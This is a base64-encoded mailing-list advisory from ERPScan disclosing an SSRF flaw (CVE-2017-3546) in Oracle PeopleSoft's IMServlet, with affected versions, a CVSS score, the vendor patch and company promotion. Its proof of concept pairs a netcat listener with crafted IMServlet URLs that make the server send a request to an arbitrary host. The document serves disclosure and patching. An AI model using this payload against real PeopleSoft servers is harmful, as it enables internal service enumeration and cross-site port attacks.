[ERPSCAN-17-022] SSRF in PeopleSoft IMServlet

ERPScan inc <[email protected]> Thu, 20 Apr 2017 18:25:36 +0300
Newsgroups gmane.comp.security.fulldisclosure,gmane.comp.security.penetration,gmane.comp.security.news.securitytracker,gmane.comp.security.bugtraq
Message-ID <CANHWe91WGqGafcBWFcOH1w11s+hXFSa715b55LEZrw+J71E_Ng@mail.gmail.com>
QXBwbGljYXRpb246IE9yYWNsZSBQZW9wbGVTb2Z0ClZlcnNpb25zIEFmZmVjdGVkOiBUb29sc1Jl
bGVhc2U6IDguNTUuMDM7IFRvb2xzUmVsZWFzZURCOiA4LjU1OwpQZW9wbGVTb2Z0IEhDTSA5LjIK
VmVuZG9yIFVSTDogaHR0cDovL29yYWNsZS5jb20KQnVnczogU1NSRgpSZXBvcnRlZDogMjMuMTIu
MjAxNgpWZW5kb3IgcmVzcG9uc2U6IDI0LjEyLjIwMTYKRGF0ZSBvZiBQdWJsaWMgQWR2aXNvcnk6
IDE4LjA0LjIwMTcKUmVmZXJlbmNlOiBPcmFjbGUgQ1BVIEFwcmlsIDIwMTcKQXV0aG9yOiBSb21h
biBTaGFseW1vdiAoRVJQU2NhbikKCkRlc2NyaXB0aW9uCgoxLiBBRFZJU09SWSBJTkZPUk1BVElP
TgoKVGl0bGU6W0VSUFNDQU4tMTctMDIyXSBTU1JGIGluIFBlb3BsZVNvZnQgSU1TZXJ2bGV0CkFk
dmlzb3J5IElEOiBbRVJQU0NBTi0xNy0wMjJdClJpc2s6IGhpZ2gKQ1ZFOiBDVkUtMjAxNy0zNTQ2
CkFkdmlzb3J5IFVSTDogaHR0cHM6Ly9lcnBzY2FuLmNvbS9hZHZpc29yaWVzL2VycHNjYW4tMTct
MDIyLXNzcmYtcGVvcGxlc29mdC1pbXNlcnZsZXQvCkRhdGUgcHVibGlzaGVkOiAxOC4wNC4yMDE3
ClZlbmRvcnMgY29udGFjdGVkOiBPcmFjbGUKCgoyLiBWVUxORVJBQklMSVRZIElORk9STUFUSU9O
CgpDbGFzczogU1NSRgpJbXBhY3Q6IGNyb3NzLXNpdGUgcG9ydCBhdHRhY2ssIHNlcnZpY2UgZW51
bWVyYXRpb24KUmVtb3RlbHkgRXhwbG9pdGFibGU6IHllcwpMb2NhbGx5IEV4cGxvaXRhYmxlOiB5
ZXMKCkNWU1MgSW5mb3JtYXRpb24KCkNWU1MgQmFzZSBTY29yZSB2MzogICAgOC4wIC8gMTAKQ1ZT
UyBCYXNlIFZlY3RvcjoKQVYgOiBBdHRhY2sgVmVjdG9yIChSZWxhdGVkIGV4cGxvaXQgcmFuZ2Up
IE5ldHdvcmsgKE4pCkFDIDogQXR0YWNrIENvbXBsZXhpdHkgKFJlcXVpcmVkIGF0dGFjayBjb21w
bGV4aXR5KSBIaWdoIChIKQpQUiA6IFByaXZpbGVnZXMgUmVxdWlyZWQgKExldmVsIG9mIHByaXZp
bGVnZXMgbmVlZGVkIHRvIGV4cGxvaXQpIEhpZ2ggKEgpClVJIDogVXNlciBJbnRlcmFjdGlvbiAo
UmVxdWlyZWQgdXNlciBwYXJ0aWNpcGF0aW9uKSBOb25lIChOKQpTIDogU2NvcGUgKENoYW5nZSBp
biBzY29wZSBkdWUgdG8gaW1wYWN0IGNhdXNlZCB0byBjb21wb25lbnRzIGJleW9uZAp0aGUgdnVs
bmVyYWJsZSBjb21wb25lbnQpIENoYW5nZWQgKEMpCkMgOiBJbXBhY3QgdG8gQ29uZmlkZW50aWFs
aXR5IEhpZ2ggKEgpCkkgOiBJbXBhY3QgdG8gSW50ZWdyaXR5IEhpZ2ggKEgpCkEgOiBJbXBhY3Qg
dG8gQXZhaWxhYmlsaXR5IEhpZ2ggKEgpCgoKMy4gVlVMTkVSQUJJTElUWSBERVNDUklQVElPTgoK
QW4gYXR0YWNrZXIgY2FuIGZvcmNlIGEgdnVsbmVyYWJsZSBzZXJ2ZXIgdG8gdHJpZ2dlciBtYWxp
Y2lvdXMKcmVxdWVzdHMgdG8gdGhpcmQtcGFydHkgc2VydmVycyBvciB0byBpbnRlcm5hbCByZXNv
dXJjZXMuIFRoaXMKdnVsbmVyYWJpbGl0eSBjYW4gdGhlbiBiZSBsZXZlcmFnZWQgdG8gbGF1bmNo
IHNwZWNpZmljIGF0dGFja3Mgc3VjaCBhcwphIGNyb3NzLXNpdGUgcG9ydCBhdHRhY2ssIHNlcnZp
Y2UgZW51bWVyYXRpb24sIGFuZCB2YXJpb3VzIG90aGVyCmF0dGFja3MuCgo0LiBWVUxORVJBQkxF
IFBBQ0tBR0VTCgpUb29sc1JlbGVhc2U6IDguNTUuMDMKVG9vbHNSZWxlYXNlREI6IDguNTUKUGVv
cGxlU29mdCBIQ00gOS4yCgo1LiBTT0xVVElPTlMgQU5EIFdPUktBUk9VTkRTCgpUbyBjb3JyZWN0
IHRoaXMgdnVsbmVyYWJpbGl0eSwgaW1wbGVtZW50IE9yYWNsZSBDUFUgQXByaWwgMjAxNwoKNi4g
QVVUSE9SCgpSb21hbiBTaGFseW1vdgoKNy4gVEVDSE5JQ0FMIERFU0NSSVBUSU9OCgpQb0MKClJ1
biBuZXRjYXQKCjEuIG5jIC1sIC1wICMgb24gc29tZSBob3N0CgpJbiBicm93c2VyIG9wZW4gdGhl
IGZvbGxvd2luZyBsaW5rcwoKaHR0cDovL1BQTFNPRlRTUlY6ODAwMC9JTVNlcnZsZXQ/TWV0aG9k
PUNPTk5FQ1QKCmh0dHA6Ly9QUExTT0ZUU1JWOjo4MDAwL0lNU2VydmxldD9NZXRob2Q9R09PR0xF
X1BSRVNFTkNFJmltX3RvX3VzZXI9YWJjJmltX3NlcnZlcl9uYW1lPUdPT0dMRSZpbV9zZXJ2ZXI9
U09NRUhPU1Q6T1BFTl9QT1JULz9wYXJhbT12YXIlMjMiCgoKUmVhZCByZXNwb25zZSBpbiBuZXRj
YXQKCkdFVCAvP3BhcmFtPXZhciBIVFRQLzEuMQoKVXNlci1BZ2VudDogSmF2YTEuNy4wXzk1CgpI
b3N0OiBTT01FSE9TVDpPUEVOX1BPUlQKCkFjY2VwdDogdGV4dC9odG1sLCBpbWFnZS9naWYsIGlt
YWdlL2pwZWcsIC87IHE9LjIKCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUKCgo4LiBBQk9VVCBFUlBT
Y2FuIFJlc2VhcmNoCgpFUlBTY2FuIHJlc2VhcmNoIHRlYW0gc3BlY2lhbGl6ZXMgaW4gdnVsbmVy
YWJpbGl0eSByZXNlYXJjaCBhbmQKYW5hbHlzaXMgb2YgY3JpdGljYWwgZW50ZXJwcmlzZSBhcHBs
aWNhdGlvbnMuIEl0IHdhcyBhY2tub3dsZWRnZWQKbXVsdGlwbGUgdGltZXMgYnkgdGhlIGxhcmdl
c3Qgc29mdHdhcmUgdmVuZG9ycyBsaWtlIFNBUCwgT3JhY2xlLApNaWNyb3NvZnQsIElCTSwgVk13
YXJlLCBIUCBmb3IgZGlzY292ZXJpbmcgbW9yZSB0aGFuIDQwMAp2dWxuZXJhYmlsaXRpZXMgaW4g
dGhlaXIgc29sdXRpb25zICgyMDAgb2YgdGhlbSBqdXN0IGluIFNBUCEpLgoKRVJQU2NhbiByZXNl
YXJjaGVycyBhcmUgcHJvdWQgb2YgZGlzY292ZXJpbmcgbmV3IHR5cGVzIG9mCnZ1bG5lcmFiaWxp
dGllcyAoVE9QIDEwIFdlYiBIYWNraW5nIFRlY2huaXF1ZXMgMjAxMikgYW5kIG9mIHRoZSAiVGhl
CkJlc3QgU2VydmVyLVNpZGUgQnVnIiBub21pbmF0aW9uIGF0IEJsYWNrSGF0IDIwMTMuCgpFUlBT
Y2FuIGV4cGVydHMgcGFydGljaXBhdGVkIGFzIHNwZWFrZXJzLCBwcmVzZW50ZXJzLCBhbmQgdHJh
aW5lcnMgYXQKNjArIHByaW1lIGludGVybmF0aW9uYWwgc2VjdXJpdHkgY29uZmVyZW5jZXMgaW4g
MjUrIGNvdW50cmllcyBhY3Jvc3MKdGhlIGNvbnRpbmVudHMgKCBlLmcuIEJsYWNrSGF0LCBSU0Es
IEhJVEIpIGFuZCBjb25kdWN0ZWQgcHJpdmF0ZQp0cmFpbmluZ3MgZm9yIHNldmVyYWwgRm9ydHVu
ZSAyMDAwIGNvbXBhbmllcy4KCkVSUFNjYW4gcmVzZWFyY2hlcnMgY2Fycnkgb3V0IHRoZSBFQVMt
U0VDIHByb2plY3QgdGhhdCBpcyBmb2N1c2VkIG9uCmVudGVycHJpc2UgYXBwbGljYXRpb24gc2Vj
dXJpdHkgYXdhcmVuZXNzIGJ5IGlzc3VpbmcgYW5udWFsIFNBUApzZWN1cml0eSByZXNlYXJjaGVz
LgoKRVJQU2NhbiBleHBlcnRzIHdlcmUgaW50ZXJ2aWV3ZWQgaW4gc3BlY2lhbGl6ZWQgaW5mby1z
ZWMgcmVzb3VyY2VzIGFuZApmZWF0dXJlZCBpbiBtYWpvciBtZWRpYSB3b3JsZHdpZGUuIEFtb25n
IHRoZW0gdGhlcmUgYXJlIFJldXRlcnMsCllhaG9vLCBTQyBNYWdhemluZSwgVGhlIFJlZ2lzdGVy
LCBDSU8sIFBDIFdvcmxkLCBEYXJrUmVhZGluZywgSGVpc2UsCkNoaW5hYnl0ZSwgZXRjLgoKT3Vy
IHRlYW0gY29uc2lzdHMgb2YgaGlnaGx5LXF1YWxpZmllZCByZXNlYXJjaGVycywgc3BlY2lhbGl6
ZWQgaW4KdmFyaW91cyBmaWVsZHMgb2YgY3liZXJzZWN1cml0eSAoZnJvbSB3ZWIgYXBwbGljYXRp
b24gdG8gSUNTL1NDQURBCnN5c3RlbXMpLCBnYXRoZXJpbmcgdGhlaXIgZXhwZXJpZW5jZSB0byBj
b25kdWN0IHRoZSBiZXN0IFNBUCBzZWN1cml0eQpyZXNlYXJjaC4KCjkuIEFCT1VUIEVSUFNjYW4K
CkVSUFNjYW4gaXMgdGhlIG1vc3QgcmVzcGVjdGVkIGFuZCBjcmVkaWJsZSBCdXNpbmVzcyBBcHBs
aWNhdGlvbgpDeWJlcnNlY3VyaXR5IHByb3ZpZGVyLiBGb3VuZGVkIGluIDIwMTAsIHRoZSBjb21w
YW55IG9wZXJhdGVzIGdsb2JhbGx5CmFuZCBlbmFibGVzIGxhcmdlIE9pbCBhbmQgR2FzLCBGaW5h
bmNpYWwsIFJldGFpbCBhbmQgb3RoZXIKb3JnYW5pemF0aW9ucyB0byBzZWN1cmUgdGhlaXIgbWlz
c2lvbi1jcml0aWNhbCBwcm9jZXNzZXMuIE5hbWVkIGFzIGFuCuKAmEVtZXJnaW5nIFZlbmRvcuKA
mSBpbiBTZWN1cml0eSBieSBDUk4sIGxpc3RlZCBhbW9uZyDigJxUT1AgMTAwIFNBUApTb2x1dGlv
biBwcm92aWRlcnPigJ0gYW5kIGRpc3Rpbmd1aXNoZWQgYnkgMzArIG90aGVyIGF3YXJkcywgRVJQ
U2NhbiBpcwp0aGUgbGVhZGluZyBTQVAgU0UgcGFydG5lciBpbiBkaXNjb3ZlcmluZyBhbmQgcmVz
b2x2aW5nIHNlY3VyaXR5CnZ1bG5lcmFiaWxpdGllcy4gRVJQU2NhbiBjb25zdWx0YW50cyB3b3Jr
IHdpdGggU0FQIFNFIGluIFdhbGxkb3JmIHRvCmFzc2lzdCBpbiBpbXByb3ZpbmcgdGhlIHNlY3Vy
aXR5IG9mIHRoZWlyIGxhdGVzdCBzb2x1dGlvbnMuCgpFUlBTY2Fu4oCZcyBwcmltYXJ5IG1pc3Np
b24gaXMgdG8gY2xvc2UgdGhlIGdhcCBiZXR3ZWVuIHRlY2huaWNhbCBhbmQKYnVzaW5lc3Mgc2Vj
dXJpdHksIGFuZCBwcm92aWRlIHNvbHV0aW9ucyBmb3IgQ0lTTydzIHRvIGV2YWx1YXRlIGFuZApz
ZWN1cmUgU0FQIGFuZCBPcmFjbGUgRVJQIHN5c3RlbXMgYW5kIGJ1c2luZXNzLWNyaXRpY2FsIGFw
cGxpY2F0aW9ucwpmcm9tIGJvdGggY3liZXJhdHRhY2tzIGFuZCBpbnRlcm5hbCBmcmF1ZC4gQXMg
YSBydWxlLCBvdXIgY2xpZW50cyBhcmUKbGFyZ2UgZW50ZXJwcmlzZXMsIEZvcnR1bmUgMjAwMCBj
b21wYW5pZXMgYW5kIE1TUHMsIHdob3NlIHJlcXVpcmVtZW50cwphcmUgdG8gYWN0aXZlbHkgbW9u
aXRvciBhbmQgbWFuYWdlIHNlY3VyaXR5IG9mIHZhc3QgU0FQIGFuZCBPcmFjbGUKbGFuZHNjYXBl
cyBvbiBhIGdsb2JhbCBzY2FsZS4KCldlIOKAmGZvbGxvdyB0aGUgc3Vu4oCZIGFuZCBoYXZlIHR3
byBodWJzLCBsb2NhdGVkIGluIFBhbG8gQWx0byBhbmQKQW1zdGVyZGFtLCB0byBwcm92aWRlIHRo
cmVhdCBpbnRlbGxpZ2VuY2Ugc2VydmljZXMsIGNvbnRpbnVvdXMgc3VwcG9ydAphbmQgdG8gb3Bl
cmF0ZSBsb2NhbCBvZmZpY2VzIGFuZCBwYXJ0bmVyIG5ldHdvcmsgc3Bhbm5pbmcgMjArCmNvdW50
cmllcyBhcm91bmQgdGhlIGdsb2JlLgoKCgoKQWRkcmVzcyBVU0E6IDIyOCBIYW1pbHRvbiBBdmVu
dWUsIEZsLiAzLCBQYWxvIEFsdG8sIENBLiA5NDMwMQoKUGhvbmU6IDY1MC43OTguNTI1NQoKVHdp
dHRlcjogQGVycHNjYW4KClNjb29wLWl0OiBCdXNpbmVzcyBBcHBsaWNhdGlvbiBTZWN1cml0eQoK
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KU2VudCB0aHJv
dWdoIHRoZSBGdWxsIERpc2Nsb3N1cmUgbWFpbGluZyBsaXN0Cmh0dHBzOi8vbm1hcC5vcmcvbWFp
bG1hbi9saXN0aW5mby9mdWxsZGlzY2xvc3VyZQpXZWIgQXJjaGl2ZXMgJiBSU1M6IGh0dHA6Ly9z
ZWNsaXN0cy5vcmcvZnVsbGRpc2Nsb3N1cmUv